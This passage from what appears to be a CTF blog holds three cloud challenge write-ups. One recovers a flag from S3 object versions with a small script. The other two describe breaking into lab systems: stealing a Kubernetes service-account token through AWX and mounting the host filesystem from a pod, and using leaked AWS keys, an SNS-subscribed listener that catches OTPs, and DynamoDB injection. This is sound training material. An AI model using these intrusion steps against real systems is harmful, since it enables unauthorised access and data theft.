<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751948746009/ff3a92e9-c180-4ab1-b445-79023da0e2dd.png" alt class="image--center mx-auto" /></p>
<p>As we can see there is several objects, the unusual objects are <code>memories.txt</code> and <code>myheart.txt</code>.</p>
<p>Try open the <code>memories.txt</code> object, seems like we need to open <code>myheart.txt</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751948993822/95d63925-24fb-495d-a13e-7cb8e4898220.png" alt class="image--center mx-auto" /></p>
<p>While open <code>myheart.txt</code> object, it mentioned <code>deepest</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751949054849/a9705ca7-a8d5-4586-8d98-b6fdc57e375b.png" alt class="image--center mx-auto" /></p>
<p>So i guess it is related to <code>bucket versioning</code> in aws <code>s3</code> bucket. It is a feature to enabled bucket to still stored the old version of object.</p>
<p>Well, we can list the old version by just append <code>/?versions</code> in the bucket url.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751949287101/573634f2-1f76-46fd-9e50-fa8245e43aac.png" alt class="image--center mx-auto" /></p>
<p>Well, there is many versions available for object <code>myheart.txt</code>. Let’s try to open one of old version <code>myheart.txt</code>. The link pattern to open object in certain version is by append <code>&lt;object-path&gt;?versionId=&lt;version-id&gt;</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751949623544/07fd775d-98f7-4573-800a-0be123a93acd.png" alt class="image--center mx-auto" /></p>
<p>Hmm, it is only show 1 letter. So, i assume to get whole <code>flag</code> we need to retrieve all letters then combine it. Because manual works is so boring, let’s use some script solver. Here the solver i use</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> xml.etree.ElementTree <span class="hljs-keyword">as</span> ET

res = requests.get(<span class="hljs-string">'http://forever.lychnobyte.my.id.s3.amazonaws.com/?versions'</span>)

root = ET.fromstring(res.text)

all_versions = []

<span class="hljs-keyword">for</span> versions <span class="hljs-keyword">in</span> root.findall(<span class="hljs-string">'{http://s3.amazonaws.com/doc/2006-03-01/}Version'</span>):
    version_id = versions.find(<span class="hljs-string">'{http://s3.amazonaws.com/doc/2006-03-01/}VersionId'</span>).text
    file_name = versions.find(<span class="hljs-string">'{http://s3.amazonaws.com/doc/2006-03-01/}Key'</span>).text
    <span class="hljs-keyword">if</span> file_name == <span class="hljs-string">"myheart.txt"</span>:
        all_versions.append(version_id)

flag = <span class="hljs-string">""</span>

<span class="hljs-keyword">for</span> version <span class="hljs-keyword">in</span> all_versions[<span class="hljs-number">1</span>:]:
    res = requests.get(<span class="hljs-string">'http://forever.lychnobyte.my.id.s3.amazonaws.com/myheart.txt?versionId='</span> + version)
    flag += res.text.strip()

print(flag[::<span class="hljs-number">-1</span>])
</code></pre>
<p>So, just run the solver then we got the flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751949952392/153160db-314f-473e-afca-6247e9b91522.png" alt class="image--center mx-auto" /></p>
<p>Flag: <code>TCP1P{jus7_l1k3_wh4t_1_s4id_y0u_4lw4ys_r3m4in5_h3r3_f0r3v3r_:')}</code></p>
<p>It just a simple challenge isn’t? :)</p>
<p>Well, you can see all source code for this challenge in my repository here <a target="_blank" href="https://github.com/afmaghribi/BrokenHeartEdition/tree/master/Cloud/Last_Forever">https://github.com/afmaghribi/BrokenHeartEdition/tree/master/Cloud/Last_Forever</a></p>
<p>Since, the challenge is still up and bucket still exist if you want to deploy your own bucket you change the <code>credentials</code> and <code>bucket name</code> in <code>main.tf</code> file</p>
<p><a target="_blank" href="https://github.com/afmaghribi/BrokenHeartEdition/blob/25a7da19f48a40ed346ce960d7dd30c110a7b14e/Cloud/Last_Forever/deploy/main.tf#L9C1-L20C1">https://github.com/afmaghribi/BrokenHeartEdition/blob/25a7da19f48a40ed346ce960d7dd30c110a7b14e/Cloud/Last_Forever/deploy/main.tf#L9C1-L20C1</a></p>
<pre><code class="lang-python">provider <span class="hljs-string">"aws"</span> {
  profile = <span class="hljs-string">"awscli"</span>
  region  = <span class="hljs-string">"us-east-2"</span>
  shared_credentials_files = [<span class="hljs-string">"/home/curiozan/.aws/credentials"</span>] &gt;&gt; Change here
}

<span class="hljs-comment"># S3 Bucket name</span>

resource <span class="hljs-string">"aws_s3_bucket"</span> <span class="hljs-string">"my_s3_bucket"</span> {
  bucket = <span class="hljs-string">"forever.lychnobyte.my.id"</span> &gt;&gt; Change here
}
</code></pre>
<h3 id="heading-reference"><strong>Reference:</strong></h3>
<ol>
<li><p><a target="_blank" href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/list-obj-version-enabled-bucket.html">https://docs.aws.amazon.com/AmazonS3/latest/userguide/list-obj-version-enabled-bucket.html</a></p>
</li>
<li><p><a target="_blank" href="https://docs.aws.amazon.com/id_id/AmazonS3/latest/userguide/RetrievingObjectVersions.html">https://docs.aws.amazon.com/id_id/AmazonS3/latest/userguide/RetrievingObjectVersions.html</a></p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[HTB Business CTF 2022 - Operator]]></title><description><![CDATA[Cover Illustration source https://www.pixiv.net/en/artworks/89193760

Alright, let’s continues to 2nd challenge called Operator. Here is the challenge description:

We have located Monkey Business operator blog where they are leaking personal informa...]]></description><link>https://blog.lychnobyte.my.id/htb-business-ctf-2022-operator</link><guid isPermaLink="true">https://blog.lychnobyte.my.id/htb-business-ctf-2022-operator</guid><category><![CDATA[Cloud]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Lychnobyte]]></dc:creator><pubDate>Tue, 24 Jun 2025 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751848401365/d096eefa-5ccf-4ef1-95a6-0b6677255a4b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong><em>Cover Illustration source</em></strong> <a target="_blank" href="https://www.pixiv.net/en/artworks/89193760">https://www.pixiv.net/en/artworks/89193760</a></p>
</blockquote>
<p>Alright, let’s continues to 2nd challenge called <code>Operator</code>. Here is the challenge description:</p>
<blockquote>
<p>We have located Monkey Business operator blog where they are leaking personal informations. We would like you to break into their system and figure out a way to gain full control.</p>
</blockquote>
<p>Just like previous challenge we only got an <code>IP address</code>. So i just running <code>Nmap</code> to scan the <code>IP address</code> to know what services are running and in which port.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFvoDudyenMEZeX2XQ_vqF44m-WjZgO-WNehLB2OcgEsjQHbpyZBHKnEl2p1qFc-kC9bHePc7wOdOH06m3_9H-KVynuQBKBvGEAGeThBeM8MDsQa3qL0gEYHWLRr93xnFEcdGq7AkQQngI_7NKe7quvdam-s3VZPdS5bSC3Bu_mFUOAvBdgvM1qnmrmw/w640-h200/Untitled.png" alt /></p>
<p>The scan result show there is 6 open ports:</p>
<ol>
<li><p>22 - ssh</p>
</li>
<li><p>80 - http</p>
</li>
<li><p>3000 - ppp</p>
</li>
<li><p>8443 - https (most likely kube api server)</p>
</li>
<li><p>10250 - http (most likely kubelet)</p>
</li>
<li><p>30080 - http nginx</p>
</li>
</ol>
<p>Let’s explore each services one-by-one</p>
<ol>
<li><strong>80 - Web server</strong></li>
</ol>
<p>Access from browser we got website page like this.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFj06MHvi36jxgWkPKzZaBZE3bqQi_UHZvm9lIHH2e7LGkqYC-Xf_P4ntuNquoneDgGNsixbIyqv1X1Yp8uxM72dW82KSNfQyzKY1mnZC4rihU5Fjw4OZvyH4vqQBzZmdIHtqsTG6k-7b9uIGwq-Vp2ywV5OfPuTUfwVzQlYx2A3XY5PnYa4pF_3V09w/w640-h344/Untitled%20(1).png" alt /></p>
<p>After check all posts on the website, there is one post that provide a link that leads to port 3000. Let’s visit that link.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgppb0CXApaDzhJHoIhf9Kv0mxyy6DRipcF82iODS90o06GEtNwfsBLFhiGTkqHZui6oZbpQvP-1-nWrJORzr_9GTIa3PwWMH8MrdILdK5ET-KRZ4QqLLUCb7jKe_h5BtZ0OCimznIE3U7GD2Bv5SKRkYFMjcYx1pL9bvYjD1z-sFll66mZT7OphV6FbA/w640-h340/Untitled%20(3).png" alt /></p>
<ol start="2">
<li><strong>3000 - gogs (self-hosted git server)</strong></li>
</ol>
<p>The link that we found earlier leads us to git repository.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNd0lOIiqbubaxkeKpK2XaUOtHamlKIXYQPfQpw75gQoBDIWGYt2Y_m9HoHtWutG5ArQek4vIgOYPCDnJsl6cJNyCZV0jj2DEzbI5QHAD1T1wyllzOBDLzTjpVn-k9HdpFQQoEqhqP6HPGpNI4iMhRzoQGn8-RHyUXldnKkBZoWOA7uAtze4LzEUS2PQ/w640-h338/Untitled%20(4).png" alt /></p>
<p>Since the repository itself seems not have useful information i tried to explore the gogs server to find another repository.</p>
<p>Yeah, there another repository named <code>awx-operator</code></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtYBffTJE4Rsm_Mae88dwNxnPBQPdlRBZhNTrdMn_95IIpOb73d3OULz1DU-Cm938eV9DKqm4HYzRnLet7DgIjRnJuxfEXQGo82_8-dtWPRzbpPWcVWNuuW5x_1jiVlhuxmJwNE4K8meF7EuWjO0jvJpOwALZXrcNPzXH-yexhHQPlTexO3Szm5BQLiA/w640-h138/Untitled%20(5).png" alt /></p>
<p>Explore the repository and i found a closed issue. That issue mentioned another repository called <code>awx-k8s-config</code>.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJJjmWZh8ontzI34hIBgAvHVcnw0idZxfUy6PoWYoix6esL6KmR8_eFJEQFbr1yHQssw47pz_LXauEAIlixNPWDB9cWPtkuFtyZakq0XZfza5BoHheQ-fs2LBL1F3TF8Cf7B60D2rgqhMAPM0G__KclWFHxjNzs8DbDTLKrJhe127XayfpECb3zFoPTw/w640-h276/Untitled%20(6).png" alt /></p>
<p>Then i open the repository and try to explore the files stored in the repository. Seems like the files stored in the repository are manifest file to deploy <code>awx-operator</code> in kubernetes. From commit history i found credentials for login to <code>awx operator dashboard</code></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyqGOCnE-nCbXbNNFc9liPbEshvab_WKU9Svl5DyWJfR8KRw2o3cMEkJMo9gStvymkSQHgtNLQ1xCRhOd7w5F62bhHACmCgTDQDUNtMffkschE5ZGBPNUy9AqzTch7LWRn1SEBJoygYEMwXbhx_7vxwoZ3mXqVq45p978irgTvdV0BOGHOspyyOe1NJg/w640-h230/Untitled%20(7).png" alt /></p>
<ol start="3">
<li><strong>30080 - Awx dashboard</strong></li>
</ol>
<p>Login to awx dashboard using credentials we got before, here the dashboard look like.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFRVGT9ItniruWdUt9uehVauotEFIH7XjUeothYFV8ec9YlLQNTeaK2Y8Eq8HJut6PjICfCNJ-3aKQfsd-6OfuEc5sRXxmt5Qx34PT_mDxAPTYdnIfToNEwhJ2SGGtJ6iD7NFh7RH_8ZzReftTBVMoSAUx5jU27Li2B4UqWy3ZA81RFUcbuboM-OAQsg/w640-h340/Untitled%20(8).png" alt /></p>
<p>Briefly, how awx work is awx will deploy pod in kubernetes cluster then make it as runner to to run ansible playbook. So, we can simple create our own ansible playbook to get kubernetes serviceaccount token that we can use to access kubernetes cluster.</p>
<p>First, we create new user and repository on gogs server. Then we stored our ansible playbook that print serviceaccount token that stored in file <code>/var/run/secrets/kubernetes.io/serviceaccount/token</code> inside the pod. Here the playbook that i use.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGrBxyEOkA1_NR2cGvUWBUwaxGRiwO2N9vZ4UngPlMVQWdpbhWo39HGjeNQqNclf93ngOskjH2LW3WOHxuFBVUoQXjcpJ6zmyQ73XBOQDdoYdNJvJiKFjDuXsiUZLYXqr_Wq50YM7aAnTSe_fnRh0npDn3D7a_ZuU76GgAwKTzm9F-3RYPjNCM7o9qBg/w640-h206/Untitled%20(17).png" alt /></p>
<p>Then on awx dashboard we create new project that use our new repository as source control.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHaoV2dBmE3_VZlVheNrQGVsMPNiDUAJcTwkbCZhmFm3ft5LRD0Dpeaf3_Po77DJUZLzPChOKMNdhZ7tlFn72ASSP58K6xIEQxsIGwo-W7YsZMYksdoMnWFMUyqhkeW9jLtIjWxEk-8hXPakHr-7yitDOl3BkuNVjFQunTl-uYCKpisji3h5w-VcOvkw/w640-h300/Untitled%20(9).png" alt /></p>
<p>Then we create new job template for the project to run ansible playbook.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW4i9lOy05oNcjEe21Jvb7ubOLhLtOgF-jTJxvQRF_RsrLn4uQpyoA8XGS2prpnpoe8MMFymRdkx5XmxtQwnpZZrG7kEwxNHG0cQAhQM42hhKrUIbvvB2W_oSQoLbDyxOHA2VIJQZ6nsDbpNQ68DIBABjWGHAjiIDNwf5HsBbomqGqpLWirg44z0YtHw/w640-h314/Untitled%20(10).png" alt /></p>
<p>Then we run the job, but i got an error. Seems like the file that contain serviceaccount doesn’t exist in the runner pod.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSuwG1clieA8jbnKxJutlthQc6_1Qtp153hWx8lLkGzzSzuciORe7h33Nu2zbK-RDNDOCCxULaj3Gt1x5j_gbs28dWSFfeWaA6NrGCI8EMThn0dzxYher7xTxKi4Ilv7SVOJnFHZekqAJMyfPR5_OwgkSY03NwkgMDUorsTKt5sdopBvEglRY-esnCdg/w640-h324/Untitled%20(11).png" alt /></p>
<p>After explore a while i found that the pod spec that deploy as runner has <code>automountServiceAccountToken</code> option set to <code>false</code>. We need to change that option to <code>true</code>. The configuration can found in <code>Instance Group</code> -&gt; <code>choose group</code> -&gt; <code>customize pod configuration</code>.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_Wq5xpj7srsCGnw9bz4qeskk1vKVfM4wdbuzPioQb4188igja-l_1mof_APWofAXLcngBO5Pm_enKoTizdjsbldBi2zoKhjlP_3SHUlZA39xSATRPWjUof5MNx8so5ggVrQJOqUEIlE7GrpAKVKSanDDy6efrhRjmz58KrL7iBEvMWEw0WzfBgNbkbA/w640-h252/Untitled%20(12).png" alt /></p>
<p>Then re-run the job we’ve created. Now finally we got the serviceaccount token.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizCKaG288QUf5HryxnHZxkCTWAXsnzfOPBZs_vq7dtOCpH5KLNjdhQMtxnG7MwYcE_s9NKNwOGvm_jz_25-32aU4q1EhQz_YcZ7rN--cxDteG1ykgWqcbSQWaDloosBzieIa_gNVxhqNBjN_Nc_72V3vXKbkyW0Kt8IoetWCo1Cxx-a7Bt5ZCQYpVPHA/w640-h332/Untitled%20(13).png" alt /></p>
<p>Next we use that token to access the kubernetes cluster with kubectl.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDX9c3FfqPm_Fh-Tt8kAE7Vz3Z1FRsNT-O71fVBAj-5h_b33o5A3vWv1OGPITeUD9ObJ6SC3zJtcchiLGjRWzixLo44YRgcl81LuFHkIzhqL_HXPs4PGBFrTT9uRAkIqa2zVO85u6R8pt_TBH6HRTMcAKdiOlOUj_8QaKZo5IsxgyPtuSGEB9nlf5Jng/w640-h154/Untitled%20(18).png" alt /></p>
<p>When i tried to list pods running got error permission. Seems like our token doesn’t has such permission, since we use the <code>default</code> serviceaccount. Well we change it but first we need to know what serviceaccount that exist in the cluster. We can open <code>awx-operator.yaml</code> file in <code>awx-k8-config</code> repository to see that we can use <code>awx-operator-controller-manager</code> serviceaccount.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDKNLInik7kAiXD_GgAjSu2VP7Y0CxF2r4GCmW4iO9uhvNHV703cO9cwKqSHUH-1dz5FCieUMML9FQxGSqTg0fK8P8kOkBMHoNRo-joRwExq18SzuNlXXPpScUgnUnKmCbTeaJ8LKwS6Ipa76gStZqLaXX49VDAUZc8hA1-1ohZv5Q8IffUZOlte1W7A/w640-h228/Untitled%20(14).png" alt /></p>
<p>To make it our runner pod using that serviceaccount we need to set option <code>serviceAccountName</code> in pod configuration.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnMDXSr-bO7nuz33JH_r7VTID6pvFAjqxG6f7vBpeiMGXWPB47sbZoUlOJZm88BpbF8U5hcimaz54XFh6fJKSkpqm6ZXSarmVVTfFYHX505ExMfzd25H_NhbDo5KlH4DTXDj-wwlBerZ7p1-9-QJLdg9v7Ihb7-YL1k1qSGknBKY_yXMkdqOb1-OPbpQ/w640-h258/Untitled%20(15).png" alt /></p>
<p>Re-run the job to get new token from new serviceaccount</p>
<p>Then try run kubectl using new token, here i check the permission we got.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu0KfxLd4SXfjTFW7mrehQihAYQKA4segLCUhGGS1iTjI_mMyNzCw7XLZ2z3OWpSoD2kyuKHcfu7UPWN97Nt98VuJAWVD-cyPehv0RAVtseZhRT85GYXns7ajI8i2zvDuCrhkvWnkEmrpxVYufh4fk_h-8TvENchpETObHs7laWKyyWYsWoTnmexp8oA/w640-h280/Untitled%20(16).png" alt /></p>
<p>Seems like now we can create new pod. Since the <code>flag.txt</code> file are stored in the host machine we can create pod that mount <code>/</code> host machine to the pod, so we can read the <code>flag.txt</code>. Here the pod manifest that i use.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhomFHRpyC2-Ibb1lf7MoTzGOFuWStTZyO4UBgryKWPvVdNjPJ9YgQTcOQFHVBBRACoDRUHzi-Kahq3SMSTGPbAyByoTEGMM7GEfZgHOUUX0_XwFJlZ3eOptjaffzHCAPXwcTn8Iba2oTt8jjLjUx4y8JZZJVh3-TLJetlEqb48peaZlOMIWEgQKRgB6A/w640-h372/Untitled%20(20).png" alt /></p>
<p>Next just create the pod and exec shell inside pod then read the <code>flag.txt</code> file.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsKpKknNViBuouFpEXxktS4U-qTOeO4CSoSObAb-rGybHVDQe6dLdwvhyP247JLtIwyg-rlXCQcbAQ1SHZO-3biOCMd6yzTaYc3-6hxbexvB0eml6jwgW1yxw10q99ugErkOfL-tfTSoaMuJ5wcVuAyTfT4BBdKPIyvFIJD2lQ0fwziLotoWxCd0smIQ/w640-h202/Untitled%20(19).png" alt /></p>
<p>Reference:</p>
<ul>
<li><p><a target="_blank" href="https://faun.pub/attacking-kubernetes-clusters-using-the-kubelet-api-abafc36126ca">https://faun.pub/attacking-kubernetes-clusters-using-the-kubelet-api-abafc36126ca</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/kubernetes/kubernetes/issues/2797">https://github.com/kubernetes/kubernetes/issues/2797</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[HTB Business CTF 2022 - Trade]]></title><description><![CDATA[Cover Illustration source https://www.pixiv.net/en/artworks/112523817

Hello all, so i just decide to start blogging again but i don’t know what to write in this blog. So i just rewrite my old blog post into english with some adjustment and revision....]]></description><link>https://blog.lychnobyte.my.id/htb-business-ctf-2022-trade</link><guid isPermaLink="true">https://blog.lychnobyte.my.id/htb-business-ctf-2022-trade</guid><category><![CDATA[#Cloud CTF]]></category><category><![CDATA[Cloud]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Lychnobyte]]></dc:creator><pubDate>Mon, 23 Jun 2025 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751579912885/c7c3d172-a44f-41bb-9162-0057813c3701.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong><em>Cover Illustration source</em></strong> <a target="_blank" href="https://www.pixiv.net/en/artworks/112523817">https://www.pixiv.net/en/artworks/112523817</a></p>
</blockquote>
<p>Hello all, so i just decide to start blogging again but i don’t know what to write in this blog. So i just rewrite my old blog post into english with some adjustment and revision. :D</p>
<p>Back in 2022 i participated alone in HTB Bussiness CTF just for fun because i curious with their <code>Cloud</code> category and it’s only 2 challenge in that category, lol.</p>
<p>Let’s start with first challenge called <code>Trade</code>, here the challenge description:</p>
<blockquote>
<p>With increasing breaches there has been equal increased demand for exploits and compromised hosts. Dark APT group has released an online store to sell such digital equipment. Being part of defense operations can you help disrupting their service ?</p>
</blockquote>
<p>Anyway before start to solving the challenge as a context, to access the challenge i need to connect vpn that HTB platform provided. That’s why the <code>AWS</code> endpoint here kinda different that usual one. I assumed they deploy <code>AWS-like</code> services using tools called <code>localstack</code> in their own server.</p>
<p>This challenge only give us an <code>IP address</code> which service running without any further explanation what kind of service are running. So, my first step is running <code>Nmap</code> to scan the <code>IP address</code> to know what services are running and in which port.</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEhHbOhc-kinMUUIWVsgMN34ZZ1t85uLTfs9WYr_zn6I91xe_babcRIvhXE_ikd9nMb0jHmcqLxa9D0H5p2D4-jSU0YzAyc2x2J-LsUj_2U8YkpXCGSgyoLeWxhnq0kXZiisQjlrQRnfWasSiytEPs9fYv6MWpXPBWF73Rc_IYBWuhNdLgBiTA0SkECE7A=w640-h260" alt /></p>
<p>As we can see there is 3 ports open with 3 different services running, <code>ssh server</code>,<code>http server</code> and <code>subversion</code></p>
<p>Let’s dig dive each services running.</p>
<ol>
<li><strong>Port 80 - Web server</strong></li>
</ol>
<p>Open the given <code>Ip address</code> in the browser then we got this login page, just usual login page nothing special</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEgmoZT8m1Mg_huPPBDzECLvRGh30Ahv93VkF4uVGnS72NLqz9McUMOqxhEV2XTAgUhxlzI2fxskFDfHS47Cyj1P7jhcpk7RxlMq7mCRjqIUULOh-qyixLriYL936wb4Bs4-Y9L5SDihtW2GYnW4dLWZ66BXWib8F9zvZBTWMhdNbNSY5GiyuBMgg77FnA=w640-h482" alt /></p>
<ol start="2">
<li><strong>Port 3690 - Subversion</strong></li>
</ol>
<p>Next, access to <code>subversion</code> using <code>svn</code> client. Fyi, <code>subversion</code> is <code>version control system</code> just like <code>git</code> which is tools that usually use to control our code in <code>repository</code>. So, the idea here maybe we can dump the code that running in <code>http server</code> to get some <code>credentials</code>.</p>
<p>First, we list the repository that available in <code>subversion</code> then we <code>clone</code> the repository to our local. We found <code>/store</code> repository then <code>clone</code> to our local. We got 3 files <code>README.md</code>, <code>dynamo.py</code> and <code>sns.py</code></p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEgPqLyLxbbVy0EsQOzaLwESf3QNueA2FMky4YAlLOpBdZ6sjBelwmuqPrEGFDFrRckLyP9ms11omNbskqh7PlUPz-y1jltf1nVp8L_FauI70l_cBBm3uEv9aT9AcX7fBaZaq3yc52wIrfjBQNVIvSm3R8dTUdv6dgt9JLlP4q0xoLLjMZJdmRpZHKJJOw=w640-h222" alt /></p>
<p>In <code>dynamo.py</code> file there is hard-code <code>username</code> and <code>password</code> to store in dynamodb, i assume we can use this credentials to login to login page we found earlier.</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEjhPW2NW4VWe8CLBKwsknsEz7UldCJz_cp7iZ8BcKzSxVZSCo1WgNN8lnjSvg0FV21_Lfm-3L99O_BnyVtP81CCMRw53eb889ycqq6jpc11i8DIxw9jP8fG_0n_I9sz-DduUqjUHr2yYAuDEv2dEEKTqGEqNo8CRFoYufasbHy4UeGMFh9LlfamLviZcQ=w600-h640" alt /></p>
<p>So, i tried to login using the credentials i just found it works. But, there is another authentication that ask for our <code>OTP</code>.</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEiE_ZYz7yk2oCz6vxO-3EJQFB_QD5XFWL_Ji6fkow_0BpSPm_KMy9sDOs6sOUKx-lSL4Z7OxEfl0FlZGkf1ifmlJCgCCL1pI3cERfKkHWlie4aCR_hw1gyxyNWbB5Kn8_Clyic_ZL7sX0lBVVXE8DXEAstC0xW12IJ3DxZJ3oCd_uvwFgfB1jszba78hg=w640-h512" alt /></p>
<p>Well, there is another file called <code>sns.py</code> but nothing interesting there. But, since it is stored in <code>version control system</code> maybe we can found something interesting in previous version. Check logs of the repository we found there is several modification, then try to revert one by one to check previous code version.</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEiXgU7vOlKKt5rA4O3xJDcZstVgC36J94OhE9IyNXvl043GeOsa8qIrHpDRgSj4oy274KfcqgaVGwFDK3KrBA-D0Ng6YzUl7d_K6CGJpp3ou0VL2eIpMiEl_GhbQGjHgh8iq0ODbVejF6A9ymQSmW6_WgAMdy89qjjcFJkAVEsv1_XP4TA0ChfvvYlywg=w640-h300" alt /></p>
<p>When back to revision 2, there is hard-code AWS access and secret key.</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEg4kTrrKmggUCPutVOESoUgHTSI54rddtH3OZwiKgQ16qjeSj3uHI5eEOOZ5X9JaYLLnEZwDQoTWv86f5RxapGIi_a8JgtCHkAmTBG9q4ONOal6pp8NLwmFt4BFBCinXsErb1ROJYrfLMKN6dVdoDkQ4PO2mhmw6QcNSqbn31p4eWrUUNOxW3enhsUyQA=w640-h428" alt /></p>
<p>So, using those keys we can auth to <code>AWS-like</code> services. To setup i just need to add hostname <code>cloud.htb</code> with challenge <code>IP address</code> in <code>/etc/hosts</code> then use <code>cloud.htb</code> as our <code>endpoint-url</code>. Then try to list what topics that available in our account.</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEik6z-7Xc8fkmmRy_Vh9vkA4b9o400E16guTsJZNfRHeSZn2FzR6e5VYzWWZ5Sbx9ng7N4JnPsyIp_unVmeDwojrtR-wjXe6tAbj_buW0jy3HkqtHX4u_Mx184WqT-2RpHYxCRsgYj-GUhaZAtk_znhYhWiXR-aorRyKFOynodZ6TQGsbzGwuC2yFPbaA=w640-h184" alt /></p>
<p>Well, there is only 1 topic called <code>otp</code>. We need to subscribe to <code>otp</code> topic so we can continue our login. Since the service are running inside HTB network easiest way to subscribe is using <code>http</code> endpoint.</p>
<p>The setup is simple, we just need to open port <code>80</code> in our <code>vpn IP address</code> in this case i’m using <code>nc</code> command so i can see <code>raw</code> http request. After setup done, i just subscribe the <code>otp</code> topic using command below:</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEgWqwLm5EgaoK11jvb8-8g5bmiii4h_Mv4FeX2jgyqcUsAL4yLHbcRvE2nALORkuuxqysJnVj562IRtu4U5KIKdjv5xWFOvKQuqfD-t8218nXG7Jrtt6JW35dciojoztkbWO1JCySoPGF9lQApzdQqPuPmbpGbB4XmfESGMqTAtYN_rgxm7UPEQGQARbA=w640-h76" alt /></p>
<p>Then, try to login again and wait the <code>otp</code> hit our <code>http endopoint</code>, get the <code>otp</code> code and continue our login.</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEiQN8TyzbfQEf0-QfkVROBnDpj1sOgf6sWEBK5WmxzBOiYlu344PK_Dtp7IuyxGwois0cAo_P1UYDrEHvBA4y5Y-GP9yqsOJLWS6GMxomB0tziEnXo6xWvyjKmhIZZGxkWsakctA2rSVHmQSbvsDha4teZQnNltaw-Oap7Hp45L7m1aCPbva3YYHxrFuA=w640-h68" alt /></p>
<p>Here the website appearance after we success login.</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEjD5tLQiZEm0kPQ5ki2fHSlYFeuc4dU7airHCa6EQ8J6AY-XfQRz9ZnuSd4aO2vAiBZAK90FLFKfgTX0-4pAZTgJq-WGPfQd1PzgfbNiJCx3rvZnNSfyxUDGBEveLVNLJRosCekKu2bdTXiQ4cLxdXOwfpZBOsGVenQffxmcsjDJHBsetOU1reO307Pqg=w640-h338" alt /></p>
<p>After explore a while, i found <code>search</code> page that we can receive some <code>input</code> string. After some trial i got an error message that reveal some information while i input <code>”</code>.</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEj-47BRRmTW1eGtAdHW00ZVCjwTCIiAivTTpUVla1QuA4WSrsqrFcTr80-LyukTZe5Kc3SRmiYAnOe5JcN9t8U45-dyCCOQBbTZ7w_BemP5P7Nhd2bs_-XWDaPRqu1eJYRLcYv9BUaKtDeWqlNdb3kN9Zg3Bo1tRntFDmGKWhnHbFoJdOq6VPKy4ihE3Q=w640-h214" alt /></p>
<p>Look like this input handled directly to <code>dynamodb</code>. So, i just googled for maybe some <code>dynamodb</code> injection or something to dump some information from db.</p>
<p>Well, found that we can do some injection to dump all data inside <code>dynamodb</code> and here the <code>input</code> i use to dump all data.</p>
<p><img src="https://blogger.googleusercontent.com/img/a/AVvXsEiw5PcUhQ2-rzklb0KNUjgxsUk2YxMbb3eugO6_Lyq5hA9OY8mOY-kcPwzELzLN2UAE9BGLNfYRpg9-LjtW4DH8_B0Vdl8lxS63lHG5IJ2tqhKMTbZnHqT7QvNk2V6DUuwPFMYq4fKzI36VZy3v7qWVAhO_4HnThVXs7OlggM_X6p5h3XRVcsWVXlW-KA=w640-h42" alt /></p>
<p>So, we can see all data inside the database. But i still have no idea what these credential used for.</p>
